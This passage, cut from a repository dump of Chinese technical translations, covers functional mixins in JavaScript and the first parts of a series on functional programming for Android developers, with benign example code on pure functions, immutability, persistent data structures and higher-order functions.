允许你不使用类来构建组件，但是你的组件可能因此丧失掉一些 React 中一些基类所提供的优化措施，并且，你的组件可能也无法像文档范例中描述的那样去工作。即便如此，在使用 React 的任何时候，你都应当优先考虑使用函数形式来构建组件。\n\n#### 类的性能\n\n在一些浏览器中，类可能带来了某些 JavaScript 引擎的优化。但是，在绝大多数场景中，这些优化不会对你的应用性能产生明显的提高。实际上，多年以来，人们都不需要担心使用 `class` 带来的性能差异。无论你怎么构建对象，对象的创建和属性访问已经够快了（每秒上百万的 ops）。\n\n当然，这倒不是说 RxJS、Lodash 的作者们可以不去看看使用 `class` 能为创建对象带来多大的性能提升。而是说除非你在减少使用 `class` 的过程中遭遇了严重的性能瓶颈，否则你的优化都更应当着眼于构建整洁、灵活的代码，而不是去担心不用类丢掉的性能。\n\n### 隐式依赖\n\n你可能对怎么创建函数式 Mixin，并让他们协同工作饶有兴趣。想象你现在要为你的应用构建一个配置管理器，这个管理器能为应用生成配置，并且，当代码试图访问不存在的配置时，还能进行警告。\n\n可能你会这样实现:\n\n```js\n// 日志 Mxin\nconst withLogging = logger => o => Object.assign({}, o, {\n  log (text) {\n    logger(text)\n  }\n});\n\n// 在配置 Mixin 中，没有显式地依赖日志 Mixin：withLogging\nconst withConfig = config => (o = {\n  log: (text = '') => console.log(text)\n}) => Object.assign({}, o, {\n  get (key) {\n    return config[key] == undefined ?\n\n      // vvv 这里出现了隐式依赖 vvv\n      this.log(`Missing config key: ${ key }`) :\n      // ^^^ 这里出现了隐式依赖 ^^^\n\n      config[key]\n    ;\n  }\n});\n\n// 由于依赖隐藏，另一个模块需要引入 withLogging 及 withConfig\nconst createConfig = ({ initialConfig, logger }) =>\n  pipe(\n    withLogging(logger),\n    withConfig(initialConfig)\n  )({})\n;\n\n// elsewhere...\nconst initialConfig = {\n  host: 'localhost'\n};\n\nconst logger = console.log.bind(console);\n\nconst config = createConfig({initialConfig, logger});\n\nconsole.log(config.get('host')); // 'localhost'\nconfig.get('notThere'); // 'Missing config key: notThere'\n```\n\n译注：在这种实现中，`withConfig` 这个 Mixin 在为对象 `o` 添加功能时，依赖了对象 `o` 的 `log` 方法，因此，需要保证 `o` 具备 `log` 方法。\n\n也可能你会这样实现：\n\n```js\nimport withLogging from './with-logging';\n\nconst addConfig = config => o => Object.assign({}, o, {\n  get (key) {\n    return config[key] == undefined ?\n      this.log(`Missing config key: ${ key }`) :\n      config[key]\n    ;\n  }\n});\n\nconst withConfig = ({ initialConfig, logger }) => o =>\n  pipe(\n\n    // vvv 在此组合显式依赖 vvv\n    withLogging(logger),\n    // ^^^ 在此组合显式依赖 ^^^\n\n    addConfig(initialConfig)\n  )(o)\n;\n\n// 配置工厂现在只需要知道 withConfig\nconst createConfig = ({ initialConfig, logger }) =>\n  withConfig({ initialConfig, logger })({})\n;\n\nconst initialConfig = {\n  host: 'localhost'\n};\n\nconst logger = console.log.bind(console);\n\nconst config = createConfig({initialConfig, logger});\n\nconsole.log(config.get('host')); // 'localhost'\nconfig.get('notThere'); // 'Missing config key: notThere'\n```\n\n译注：在这个实现中，`withConfig` 显式依赖了 `withLogging`，因此，不用保证 `o` 具有 `log` 方法，`withLogging` 能够为 `o` 提供 `log` 能力。\n\n选择哪种实现，是取决于多个方面的。使用提升后的数据类型来使得函数式 Mixin 工作是可行的，但如果是这样的话，在函数签名和 API 文档中，API 约定需要设计的足够清晰。\n\n这也就是为什么在隐式依赖的版本中，会为 `o` 设置默认值。由于 JavaScript 缺乏类型声明的能力，我们只能通过默认值来保障类型正确：\n\n```js\nconst withConfig = config => (o = {\n  log: (text = '') => console.log(text)\n}) => Object.assign({}, o, {\n  // ...\n})\n```\n\n如果你使用 TypeScript 或者 Flow，更好的方式是为对象需求声明一个显式接口。\n\n### 函数式 Mixin 与 函数式编程\n\n贯穿函数式 Mixin 的“函数式”不意味着这种 Mixin 具备“函数式编程”提倡的函数纯度。实际上函数式 Mixin 通常都是面向对象风格的，并且充斥着副作用。许多函数式 Mixin 都会改变你传入的对象，这个你务必注意。\n\n话说回来，一些开发者可能更偏爱函数式编程风格，因此，也就不会为传入对象维护一个引用标识。在撰写 Mixin 时，你要假定使用这些 Mixin 的代码风格不只是函数式的，也可能是面向对象的，甚至是各种风格杂糅在一起的。\n\n这意味着如果你需要返回对象实例，那么就返回 `this` 而不是闭包中的对象实例引用。在函数式编码风格下，闭包中的对象实例引用可能反映的不是用一个对象。译注：在下面这段代码中，`fly()` 返回了 `this` 而不是闭包中保存的 `o`：\n\n```js\nconst flying = o => {\n  let isFlying = false;\n\n  return Object.assign({}, o, {\n    fly () {\n      isFlying = true;\n      return this;\n    },\n\n    isFlying: () => isFlying,\n\n    land () {\n      isFlying = false;\n      return this;\n    }\n  });\n};\n```\n\n另外，你得知道对象的扩展是通过 `Object.assign()` 或者 `{...object, ...spread}` 实现的，这意味着如果你的对象有不可枚举的属性，它们将不会出现在最终的对象上：\n\n```js\nconst a = Object.defineProperty({}, 'a', {\n  enumerable: false,\n  value: 'a'\n});\n\nconst b = {\n  b: 'b'\n};\n\nconsole.log({...a, ...b}); // { b: 'b' }\n```\n\n如果你正使用函数式 Mixin，而没有使用函数式编程，那么就别指望这些 Mixin 是纯的。相反，你得认为待扩展的基础对象可能是可变的，Mixin 也是充斥着副作用的，也没有引用透明的保障，亦即，对由函数式 Mixin 组合成的工厂进行缓存，通常是不安全的。\n\n### 总结\n\n函数式 Mixin 是一系列可组合的工厂函数，这些工厂函数能为对象增添属性或者行为，这些函数就好比流水线的各个站点一样。相较于类继承 “is-a” 的思考模式，函数式 Mixin 帮助对象从多个源获得特性，其所表达的是 **has-a**、**uses-a**、或者说 **can-do** 的思考模式。\n\n需要注意的是，“函数式 Mixin” 没有向你暗示“函数式编程”，其仅仅描述了 -- “使用函数实现的 Mixin”。当然了，函数式 Mixin 也可以使用函数式编程的风格来撰写，这样能帮助我们避免副作用并且保证引用透明。但对于第三方库所提供的函数式 Mixin，就可能充斥着副作用和不确定性了。\n\n- 不同于简单对象 Mixin，函数式 Mixin 可以通过闭包来实现真正的数据私有，以及对私有数据的继承。\n- 不同于单一祖先的类继承，函数式 Mixin 能够支持多祖先，在这种情形下，它就像是装饰器（decorators）、特征（traits）、或者多继承（multiple inheritance）。\n- 不同于 C++ 中的多继承，使用 JavaScript 实现的函数式 Mixin 在面临多继承问题时，基本不会存在菱形问题，当属性或者方法冲突时，认为最后进入的 Mixin 为胜出者，将采纳他提供的特性。\n- 不同于类的装饰器、特征、或者多继承，函数式 Mixin 不需要基类。\n\n最后，你还要切记，不要把事情搞复杂，函数式 Mixin 不是必需的，对于某个问题，你的解决思路应当是：\n\n纯函数 > 工厂函数 > 函数式 Mixin > 类\n\n**未完待续……**\n\n### 接下来\n\n想学习更多 JavaScript 函数式编程吗？\n\n[跟着 Eric Elliott 学 Javacript](http://ericelliottjs.com/product/lifetime-access-pass/)，机不可失时不再来！\n\n[<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg\">](https://ericelliottjs.com/product/lifetime-access-pass/)\n\n**Eric Elliott** 是  [**“编写 JavaScript 应用”**](http://pjabook.com) （O’Reilly） 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献，例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC** 等 , 也是很多机构的顶级艺术家，包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。\n\n大多数时间，他都在 San Francisco Bay Area，同这世上最美丽的女子在一起。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/functional-programming-for-android-developers-part-1.md",
    "content": "> * 原文地址：[Functional Programming for Android developers — Part 1](https://medium.com/@anupcowkur/functional-programming-for-android-developers-part-1-a58d40d6e742#.it6ndspj6)\n* 原文作者：[Anup Cowkur](https://medium.com/@anupcowkur)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [skyar2009](https://github.com/skyar2009)\n* 校对者：[Danny1451](https://github.com/Danny1451), [yunshuipiao](https://github.com/yunshuipiao)\n\n---\n\n# Android 开发者如何函数式编程 （一）\n\n- [Android 开发者如何函数式编程 （二）](https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-for-android-developers-part-2.md)\n- [Android 开发者如何函数式编程 （三）](https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-for-android-developers-part-3.md)\n\n![](https://cdn-images-1.medium.com/max/2000/1*DCzEYU60hk2pO7WCJj3GoQ.jpeg)\n\n最近我花了一些时间学习 [Elixir](http://elixir-lang.org/) —— 一门极好的编程语言，适合初学者入门学习。\n\n我在想，为什么我们不在 Android 开发中使用函数式编程的思想和技术呢？\n\n大多数人当听到**函数式编程**时，他们会想到 Hacker News 发布的一些关于单子、高阶函数以及抽象数据类型的内容。这好像是一个离平时辛勤编码的程序员很远的神秘领域，它仅仅属于强大的黑客们。\n\n不去管它！我要说你也可以学它，你也可以使用它，你也可以用它打造漂亮的应用 —— 拥有优雅的、可读性强的并且错误少的代码。\n\n欢迎阅读 Android 开发者如何函数式编程（FP）。接下来的一系列文章中，我将带领大家一起学习 FP 基础以及如何在老版本的 Java 中使用 FP。本文旨在实用性，会尽量少用学术性的言论。\n\nFP 是一个很大的话题。我们接下来只会涉及对编写 Android 代码有用的思想和技术。由于完整性的原因大家可能会看到了一些不能直接应用的思想，但是我会尽可能的保证材料的相关性。\n\n准备好了吗？我们开始吧。\n\n### 什么是函数式编程？我为什么要用？\n\n问得好。**函数式编程**是一系列被不公平对待的编程思想的保护伞。它的核心思想是，它是一种将程序看成是数学方法的求值、不会**改变状态**、不会产生**副作用**（后面我们马上会谈到）的编程方式。\n\nFP 核心思想强调：\n\n- **声明式代码** —— 程序员应该关心**是什么**，让编译器和运行环境去关心**怎样做**。\n- **明确性** —— 代码应该尽可能的明显。尤其是要隔离副作用避免意外。要明确定义数据流和错误处理，要避免 **GOTO** 语句和 **异常**，因为它们会将应用置于意外的状态。\n- **并发** —— 因为纯函数的概念，大多数函数式代码默认都是并行的。由于CPU运行速度没有像以前那样逐年加快（(详见 [摩尔定律](https://en.wikipedia.org/wiki/Moore%27s_law))）， 普遍看来这个特点导致函数式编程渐受欢迎。以及我们也必须利用多核架构的优点，让代码尽量的可并行。\n- **高阶函数** —— 函数和其他的语言基本元素一样是一等公民。你可以像使用 string 和 int 一样的去传递函数。\n- **不变性** —— 变量一经初始化将不能修改。一经创建，永不改变。如果需要改变，需要创建新的。这是明确性和避免副作用之外的另一方面。如果你知道一个变量不能改变，当你使用时会对它的状态更有信心。\n\n声明式、明确性和可并发的代码，难道不是更易推导以及从设计上就避免了意外吗？真希望已经激起了你的兴趣。\n\n作为本系类文章的第一部分，我们从一些 FP 的基本概念开始：**纯粹**、**副作用**和**排序**。\n\n### 纯函数\n\n当一个函数的输出只依赖输入并且没有**副作用**（我们后面马上会谈到），那么这个函数就是纯函数。下面我们看一个例子。\n\n一个简单的两数求和的函数。一个数从文件中读取，另一个数是传进来的参数。\n\n    int add(int x) {\n        int y = readNumFromFile();\n        return x + y;\n    }\n\n这个函数的输出不仅仅依赖于输入，还依赖于 **readNumFromFile()** 的返回，对于相同的入参 **x** 可能有不同的输出。这个函数不是纯函数。\n\n下面我们将它改为纯函数。\n\n    int add(int x, int y) {\n        return x + y;\n    }\n\n现在函数的输出只依赖于输入了。对于给定的 **x** 和 **y**，函数总会返回相同的输出。这个函数是**纯函数**。数学函数的计算与之一样，一个数学函数的输出只依赖于输入 —— 这也是为什么函数式编程更像数学，而不是我们通常使用的编程方式。\n\nP.S. 没有输入也是一种输入。如果一个函数没有输入并且每次的返回总是相同不变的，那么它也是一个纯函数。\n\nP.P.S. 固定输入总是返回相同输出的属性也被成为 **引用透明性**，当讨论纯函数时你可能会遇到这种说法。\n\n### 副作用\n\n我们修改下原来的函数来研究这个概念，我们将函数改成可以将计算结果存储到文件中。\n\n    int add(int x, int y) {\n        int result = x + y;\n        writeResultToFile(result);\n        return result;\n    }\n\n该函数将计算结果写到了一个文件中，也就是修改了外界的状态。那么该函数就是有 **副作用**，不再是纯函数了。\n\n任何修改外界状态（修改变量、写文件、存储 DB、删除内容等）的代码都是有副作用的。\n\nFP 中应该避免使用有副作用的函数，因为它们不在是纯函数而是依赖于**历史上下文**。代码的上下文不是由自身决定，这将导致它们更难推导。\n\n我们假设你写了一段依赖缓存的代码，代码的输出依赖于是否有人已经对缓存做了写操作、写入了什么、什么时候写入的、写入的数据是否有效等。你无法知道你的程序在做什么，除非你知道它依赖的缓存的所有可能状态。如果你拓展代码以包括所有应用依赖的内容 —— 网络、数据库、文件、用户输入等等，那么会变得很难确切的知道正在发生什么，以及很难一次性将所有内容都考虑到。\n\n这是否意味着我们不使用网络、数据库和缓存了？当然不是。当执行结束之后，应用往往需要做些什么。以 Android 应用为例，往往是更新 UI 以便用户从我们的应用中真正地获得有用的内容。\n\nFP 最伟大的概念并非完全的放弃副作用，而是包容、隔离它们。我们将副作用置于系统的边缘，尽可能减少影响，使得应用更易懂，避免有副作用的函数将应用弄得一团糟。在本系列后面的文章中，研究应用的**函数式架构**时，我们会具体的讨论这个问题。\n\n### 排序\n\n如果我们有几个没有副作用的纯函数，那么它们的执行顺序是无关紧要的。\n\n我们看个例子，我们有一个函数，函数会调用 3 个纯函数：\n\n    void doThings() {\n        doThing1();\n        doThing2();\n        doThing3();\n    }\n\n我们明确的知道这些函数互不依赖（因为一个函数的输出不是另一个的输入）并且我们知道它们不会改变系统的任何内容（因为它们是纯函数）。这样它们的执行顺序是完全可交换的。\n\n独立的纯函数的执行顺序是可重排序和优化的。需要注意的是，如果 **doThing1()** 的结果是 **doThing2()** 的输入，那么它们需要按顺序执行，但是 **doThing3()** 依然可以重排序在 **doThing1()** 之前执行。\n\n可重排序的特性对我们来说有什么益处？当然是**并发**了。我们可以在 3 个 CPU 上分别运行它们，而不需要担心发生任何问题。\n\n多数情况下，像 [Haskell](https://www.haskell.org/) 这样高级纯函数式语言的编译器中，可以通过分析你的代码判断是否可并行，可以防止你出现搬起石头砸自己的脚的事情（比如死锁、条件竞争等）。这些编译器理论上可以自动并行化你的代码（虽然据我所知目前编译器都不支持，但是相关的研究正在进行）。\n\n尽管你的编译器并不像上面说的那样，但单作为一个程序员，有能够根据函数的签名判断代码是否可并行，并且避免代码存在隐性副作用而导致线程问题的能力还是很重要的。\n\n### 总结\n\n希望第一本分已经激起了你对 FP 的兴趣。纯粹性、无副作用的函数是的代码更易读并且是实现并行的第一步。\n\n在我们开始实现并行之前，我们需要了解下 **不变性**。在本系列文章的[第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-for-android-developers-part-2.md)将进行探讨，并且可以看到在不需要借助锁和互斥变量的情况下，纯函数和不变性是如何帮助我们编写简单易懂的可并行代码的。\n"
  },
  {
    "path": "TODO/functional-programming-for-android-developers-part-2.md",
    "content": "> * 原文地址：[Functional Programming for Android developers?—?Part 2](https://medium.com/@anupcowkur/functional-programming-for-android-developers-part-2-5c0834669d1a#.r6495260x)\n* 原文作者：[Anup Cowkur](https://medium.com/@anupcowkur)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [tanglie1993](https://github.com/tanglie1993)\n* 校对者：[skyar2009](https://github.com/skyar2009), [phxnirvana](https://github.com/phxnirvana)\n\n---\n\n# Android 开发者如何使用函数式编程 （二） \n\n![](https://cdn-images-1.medium.com/max/1600/1*1-2UBc_3rxKqKn89iMN2nQ.jpeg)\n\n如果你没有读过第一部分，请到这里读：\n\n- [Android 开发者如何函数式编程 （一）](https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-for-android-developers-part-1.md)\n- [Android 开发者如何函数式编程 （三）](https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-for-android-developers-part-3.md)\n\n在上一篇帖子中，我们学习了**纯粹性*、**副作用**和**排序**。在本部分中，我们将讨论**不变性**和**并发**。\n\n### 不变性\n\n不变性是指一旦一个值被创建，它就不可以被修改。\n\n假设我有一个像这样的 *Car* 类：\n\n    public final class Car {\n        private String name;\n    \n        public Car(final String name) {\n            this.name = name;\n        }\n    \n        public void setName(final String name) {\n            this.name = name;\n        }\n    \n        public String getName() {\n            return name;\n        }\n    }\n\n因为它有一个 setter，我可以在创建之后修改车的名称：\n\n    Car car = new Car(\"BMW\");\n    car.setName(\"Audi\");\n\n这个类**不是**不可变的。他在创建之后可以被改变。\n\n我们把它变成不可变的。要做到这一点，我们必须：\n\n- 把 name 变量设为 *final*。\n- 移除 setter。\n- 把这个类也设为 *final*，这样另一个类就不可以继承它并修改它的内容。\n\n```\npublic final class Car {\n    private final String name;\n\n    public Car(final String name) {\n        this.name = name;\n    }\n\n    public String getName() {\n        return name;\n    }\n}\n```\n\n如果现在有人需要创建一个新的 car，他们需要初始化一个新的对象。没有人可以在 car 被创建之后修改它。这个类现在是**不可变**的了。\n\n但是 *getName()* 方法呢？它在把名称返回给外部世界对吧？如果有人在通过 getter 取得引用之后修改了 *name* 的值怎么办？\n\n在 Java 中，[string在默认情况下是不可变的](http://stackoverflow.com/questions/1552301/immutability-of-strings-in-java)。哪怕有人获得了对 *name*  string 的引用并修改它，他们也只能得到 *name*  string 的拷贝，原先的 string 保持不变。\n\n但是可变的东西怎么办？比如一个 list？我们修改一下 *Car* 类，使它具有一个驾驶员的 list。\n\n    public final class Car {\n        private final List<String> listOfDrivers;\n    \n        public Car(final List<String> listOfDrivers) {\n            this.listOfDrivers = listOfDrivers;\n        }\n    \n        public List<String> getListOfDrivers() {\n            return listOfDrivers;\n        }\n    }\n\n在这种情况下，有人可以通过 *getListOfDrivers()* 方法取得我们内部 list 的一个引用，并修改这个 list。这样，我们的类就是**可变**的了。\n\n要让它不可变，我们必须在 getter 中返回一个 list 的深度拷贝。这样，新的 list 就可以被调用者安全地修改。深度拷贝的含义是我们递归地复制所有依赖它的数据。例如，如果这是一个 *Driver* 类的 list而不是简单的 string 列表，我们就必须复制每一个 *Driver* 对象。否则，我们就会创建一个新的 list，其内容是对原先 *Driver* 对象的引用，而这些对象是可变的。在我们的类中，由于这个 list 是由不可变的 string 组成的，我们可以这样创建一个深度拷贝：\n\n    public final class Car {\n        private final List<String> listOfDrivers;\n    \n        public Car(final List<String> listOfDrivers) {\n            this.listOfDrivers = listOfDrivers;\n        }\n    \n        public List<String> getListOfDrivers() {\n            List<String> newList = new ArrayList<>();\n            for (String driver : listOfDrivers) {\n                newList.add(driver);\n            }\n            return newList;\n        }\n    }\n\n现在这个类就是真正**不可变**的了。\n\n### 并发\n\n好了，**不可变**是很酷，但为什么要用它？我们在第一部分中已经讨论过，纯函数让我们很容易地实现并发。而且，如果一个对象是不可变的，它就很容易在纯函数中使用，因为你不能通过改变它而造成副作用。\n\n来看一个例子。假设我们在 *Car* 中添加一个 *getNoOfDrivers* 方法，并允许外部调用者修改 driver 的数量，从而使它可变：\n\n    public class Car {\n        private int noOfDrivers;\n    \n        public Car(final int noOfDrivers) {\n            this.noOfDrivers = noOfDrivers;\n        }\n    \n        public int getNoOfDrivers() {\n            return noOfDrivers;\n        }\n    \n        public void setNoOfDrivers(final int noOfDrivers) {\n            this.noOfDrivers = noOfDrivers;\n        }\n    }\n\n假设有两个线程共享 *Car* 类的实例：*Thread_1* 和 *Thread_2*。*Thread_1* 需要基于 driver 的数量做一些计算，所以它调用了 *getNoOfDrivers()*。同时 *Thread_2* 开始执行，并修改了 *noOfDrivers* 变量。*Thread_1* 并不知道这个改变，愉快地继续它的计算。这些计算是不对的，因为 *Thread_2* 已经修改了变量的状态，而 *Thread_1* 并不知道。\n\n下面的流程图说明了这个问题：\n\n![](https://cdn-images-1.medium.com/max/2000/1*PXDu-vgwZ6hmh96lc5TYOg.png)\n\n这是一个名为“读-修改-写问题”的典型资源竞争。传统的解决方案是使用[锁和互斥](https://en.wikipedia.org/wiki/Mutual_exclusion)。这样，同时只有一个线程可以操纵共享数据，在操作结束之后才释放锁（在我们的例子中，*Thread_1* 将持有对 *Car* 的锁，直到它完成计算）。\n\n这种基于锁的资源管理是很难以保证安全的。它会造成极其难以分析的并发 bug。许多程序员在面对[死锁和活锁](https://en.wikipedia.org/wiki/Deadlock)时会失去理智。\n\n不可变性如何解决这个问题呢？我们再次把 *Car* 设为不可变：\n\n    public final class Car {\n        private final int noOfDrivers;\n    \n        public Car(final int noOfDrivers) {\n            this.noOfDrivers = noOfDrivers;\n        }\n    \n        public int getNoOfDrivers() {\n            return noOfDrivers;\n        }\n    }\n\n现在，*Thread_1* 可以放心地计算，因为 *Thread_2* 保证无法修改这个对象。如果 *Thread_2* 想要修改 *Car*，那么它将会创建它自己的拷贝，而 *Thread_1* 完全不会受到影响。不需要任何锁。\n\n![](https://cdn-images-1.medium.com/max/2000/1*EyBmNH__K0QlOfapgib_rg.png)\n\n不可变性保证共享数据在默认状况下就是线程安全的。**不应该**被修改的东西是**不能**被修改的。\n\n#### 如果我们需要全局可变状态怎么办？\n\n要写出有用的应用，我们在很多情况下需要共享可变的状态。我们可能会真正需要更新 *noOfDrivers* ，并把改变反映到整个系统中去。我们在下一章讨论**函数式架构**时，将使用状态隔离处理这种情况，并把副作用推到系统的边缘。\n\n### 持久数据结构\n\n不可变对象可能很好，但如果我们不加限制地使用它们，它们将会给垃圾回收器造成负担，从而导致性能问题。函数式编程向我们提供具有不可变性，并能最小化对象创建的数据结构。这些专门化的数据结构被称为**持久数据结构**。\n\n持久数据结构在被修改时，总会保留自己之前的版本。这些数据结构实际上是不可变的。对它们的操作不会（可见地）更新数据结构，而是返回一个新的修改过的结构。\n\n假设我们需要把这些 string 存储在内存中：**reborn, rebate, realize, realizes, relief, red, redder**。\n\n我们可以分开储存它们，但这需要的内存超出必要的限度。如果仔细看的话，我们可以看到这些 string 有很多共同的字符，我们可以用一个 [*trie*](https://en.wikipedia.org/wiki/Trie) 树储存它们（并不是所有的 trie 树都是持久的，但它是我们用来实现持久数据结构的工具之一）：\n\n![](https://cdn-images-1.medium.com/max/1600/1*5_7HbxMEMGRmpPkxlUnIHA.png)\n\n这是持久数据结构的基本工作原理。如果一个新的 string 被加入，我们就创建一个新的节点，并把它链接到正确的位置。如果一个使用这个结构的对象需要删除一个节点，我们只要停止引用它即可。然而，实际的节点不会被从内存中删除，这样副作用就可以被避免。这保证引用这个数据结构的其它对象可以继续使用它。如果没有其它对象引用它，我们可以回收整个结构以收回内存。\n\n在 Java 中使用持久数据结构并不是一个激进的想法。[Clojure](https://clojure.org/) 是一个函数式语言，它在 JVM 上运行，并有一整个标准库的持久数据结构。你可以在 Android 代码中直接使用 Clojure 的标准库，但它很大而且有很多方法。我找到了一个更好的替代方法：一个叫做 [PCollections](https://pcollections.org/) 的库。它有 [427 个方法和 48Kb dex 文件大小](http://www.methodscount.com/?lib=org.pcollections%3Apcollections%3A2.1.2) ，很适合我们的需要。\n\n作为一个例子，这是我们使用 PCollections 创建并使用一个持久链表时的情形：\n\n    ConsPStack<String> list = ConsPStack.*empty*();\n    System.*out*.println(list);  // []\n    \n    ConsPStack<String> list2 = list.plus(\"hello\");\n    System.*out*.println(list);  // []\n    System.*out*.println(list2); // [hello]\n    \n    ConsPStack<String> list3 = list2.plus(\"hi\");\n    System.*out*.println(list);  // []\n    System.*out*.println(list2); // [hello]\n    System.*out*.println(list3); // [hi, hello]\n    \n    ConsPStack<String> list4 = list3.minus(\"hello\");\n    System.*out*.println(list);  // []\n    System.*out*.println(list2); // [hello]\n    System.*out*.println(list3); // [hi, hello]\n    System.*out*.println(list4); // [hi]\n\n可见，没有任何一个 list 是在原位被修改的。每次进行一个修改时，它都会返回一个新的拷贝。\n\nPCollections 有一些标准持久数据结构。它们是针对多种不同的用例实现的，都很值得探索。他们都很适合与易用的 Java 的标准集合库一起使用。\n\n持久数据结构的范围是很广泛的，而这一部分只是触及了冰山的一角。如果你对学习更多相关知识感兴趣，我强烈推荐 [Chris Okasaki 的纯函数数据结构](https://www.amazon.com/Purely-Functional-Structures-Chris-Okasaki/dp/0521663504)。\n\n### 总结\n\n**不可变性**和**纯粹性**是帮助我们写出安全的并发代码的强力组合。现在我们已经学习了足够多的概念，我们可以在下一部分中看一看如何为 Android 应用设计函数式框架。\n\n### **额外内容**\n\n我在 Droidcon India 中做了一个关于不可变性和并发的报告。希望你们喜欢。\n\n[![](https://i.ytimg.com/vi_webp/lE9XnvBV-ys/sddefault.webp)](https://www.youtube.com/embed/lE9XnvBV-ys?wmode=opaque&widget_referrer=https%3A%2F%2Fmedium.com%2Fmedia%2F77eb6effeadb0e8ce1fd46d5f9efdc2c%3FpostId%3D5c0834669d1a&enablejsapi=1&origin=https%3A%2F%2Fcdn.embedly.com&widgetid=1)\n"
  },
  {
    "path": "TODO/functional-programming-for-android-developers-part-3.md",
    "content": "> * 原文地址：[Functional Programming for Android Developers — Part 3](https://medium.freecodecamp.org/functional-programming-for-android-developers-part-3-f9e521e96788)\n> * 原文作者：[Anup Cowkur](https://medium.freecodecamp.org/@anupcowkur?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-for-android-developers-part-3.md](https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-for-android-developers-part-3.md)\n> * 译者：[miguoer](https://github.com/miguoer)\n> * 校对者：[shi-xiaopeng](https://github.com/shi-xiaopeng) [Cielsk](https://github.com/Cielsk)\n\n# Android 开发者如何函数式编程 （三）\n\n![](https://cdn-images-1.medium.com/max/800/1*exgznl7z65gttRxLsMAV2A.png)\n\n在上一章，我们学习了**不可变性**和**并发**。在这一章，我们将学习**高阶函数**和**闭包**。\n\n如果你还没有阅读过第一部分和第二部分，可以点击这里阅读：\n\n- [Android 开发者如何函数式编程 （一）](https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-for-android-developers-part-1.md)\n- [Android 开发者如何函数式编程 （二）](https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-for-android-developers-part-2.md)\n\n### 高阶函数\n\n高阶函数是可以接受将函数作为输入参数，也可以接受将函数作为输出结果的一类函数。很酷吧？\n\n但是为什么有人想要那样做呢？\n\n让我们看一个例子。假设我想压缩一堆文件。我想用两种压缩格式来做 — ZIP 或者 RAR 格式。如果用传统的 Java 来实现，通常会使用 [策略模式](https://en.wikipedia.org/wiki/Strategy_pattern)。\n\n首先，创建一个定义策略的接口：\n\n```\npublic interface CompressionStrategy {\n    void compress(List<File> files);\n}\n```\n\n然后，像以下代码一样实现两种策略：\n\n```\npublic class ZipCompressionStrategy implements CompressionStrategy {\n    @Override public void compress(List<File> files) {\n        // Do ZIP stuff\n    }\n}\npublic class RarCompressionStrategy implements CompressionStrategy {\n    @Override public void compress(List<File> files) {\n        // Do RAR stuff\n    }\n}\n```\n\n在运行时，我们就可以使用任意一种策略：\n\n```\npublic CompressionStrategy decideStrategy(Strategy strategy) {\n    switch (strategy) {\n        case ZIP:\n            return new ZipCompressionStrategy();\n        case RAR:\n            return new RarCompressionStrategy();\n    }\n}\n```\n\n使用这种方式有一堆的代码和需要遵循的格式。\n\n其实我们所要做的只是根据不同的变量实现两种不同的业务逻辑。由于业务逻辑不能在 Java 中独立存在，所以必须用类和接口去修饰。\n\n如果能够直接传递业务逻辑，那不是很好吗？也就是说，如果可以把函数当作变量来处理，那么能否像传递变量和数据一样轻松地传递业务逻辑？\n\n这**正是**高阶函数的功能！\n\n现在，从高阶函数的角度来看这同一个例子。这里我要使用 [Kotlin](https://kotlinlang.org/) ，因为 Java 8 的 lambdas 表达式仍然包含了我们想要避免的 [一些创建函数接口的方式](https://stackoverflow.com/a/13604748/1369222) 。\n\n```\nfun compress(files: List<File>, applyStrategy: (List<File>) -> CompressedFiles){\n    applyStrategy(files)\n}\n```\n\n`compress` 方法接受两个参数 —— 一个文件列表和一个类型为 `List<File> -> CompressedFiles` 的 `applyStrategy` 函数。也就是说，它是一个函数，它接受一个文件列表并返回 `CompressedFiles`。\n\n现在，我们调用 `compress` 时，传入的参数可以是任意接收文件列表并返回压缩文件的函数。：\n\n```\ncompress(fileList, {files -> // ZIP it})\ncompress(fileList, {files -> // RAR it})\n```\n\n这样代码看起来干净多了。\n\n所以高阶函数允许我们传递逻辑并将代码当作数据处理。 \n\n### 闭包\n\n闭包是可以捕捉其环境的函数。让我们通过一个例子来理解这个概念。假设给一个 view 设置了一个 click listener，在其方法内部想要打印一些值：\n\n```\nint x = 5;\n\nview.setOnClickListener(new View.OnClickListener() {\n    @Override public void onClick(View v) {\n        System.out.println(x);\n    }\n});\n```\n\nJava 里面不允许我们这样做，因为 `x` 不是 final 的。在 Java 里 `x` 必须声明为 final，由于 `click listener` 可能在任意时间执行, 当它执行时 `x` 可能已经不存在或者值已经被改变，所以在 Java 里 `x` 必须声明为 `final`。Java 强制我们把这个变量声明为 final，实际上是为了把它设置成不可变的。\n\n一旦它是不可变的，Java 就知道不管 click listener 什么时候执行，`x` 都等于 `5`。这样的系统并不完美，因为 